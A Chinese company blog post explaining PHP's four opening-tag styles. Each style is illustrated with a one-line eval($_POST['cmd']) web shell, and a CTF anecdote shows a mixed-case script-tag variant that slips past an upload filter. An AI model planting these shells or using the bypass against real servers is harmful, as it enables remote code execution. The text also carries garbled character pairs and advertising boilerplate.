今天就跟大家聊聊有關PHP有幾種標識風格,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
成都創(chuàng)新互聯(lián)始終堅持【策劃先行,效果至上】的經營理念,通過多達十多年累計超上千家客戶的網站建設總結了一套系統(tǒng)有效的全網整合營銷推廣解決方案,現(xiàn)已廣泛運用于各行各業(yè)的客戶,其中包括:成都混凝土攪拌罐車等企業(yè),備受客戶認可。
PHP的標識有4種風格
XML風格
<?php eval($_POST['cmd']); ?>
php推薦使用的標記風格。
服務器管理員無法禁用,所有服務器上均可使用該風格。
腳本風格
<script language="php"> eval($_POST['cmd']); </script>
默認開啟,無法禁用
筆者曾遇到過一CTF題目,要求上傳shell,但是卻對文件內容做了過濾 ,<? 以及 php,替換為了空格。此種風格中,language的值,大小寫都可以,因此可以構造如下代碼進行繞過
<script language="PhP"> eval($_POST['cmd']); </script>
簡短風格
<? eval($_POST['cmd']); ?>
此種風格需要在配置文件php.ini中啟用short_open_tage選項
此種風格在許多環(huán)境中默認是不支持的
ASP風格
<% eval($_POST['cmd']); %>
此種風格需要在配置文件php.ini中啟用asp_tag選項
在默認情況下是禁用的
看完上述內容,你們對PHP的幾種標識風格有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。
本文標題:PHP有幾種標識風格
網站URL:http://www.muchs.cn/article40/ishgho.html
成都網站建設公司_創(chuàng)新互聯(lián),為您提供App設計、網站導航、關鍵詞優(yōu)化、動態(tài)網站、靜態(tài)網站、移動網站建設
聲明:本網站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)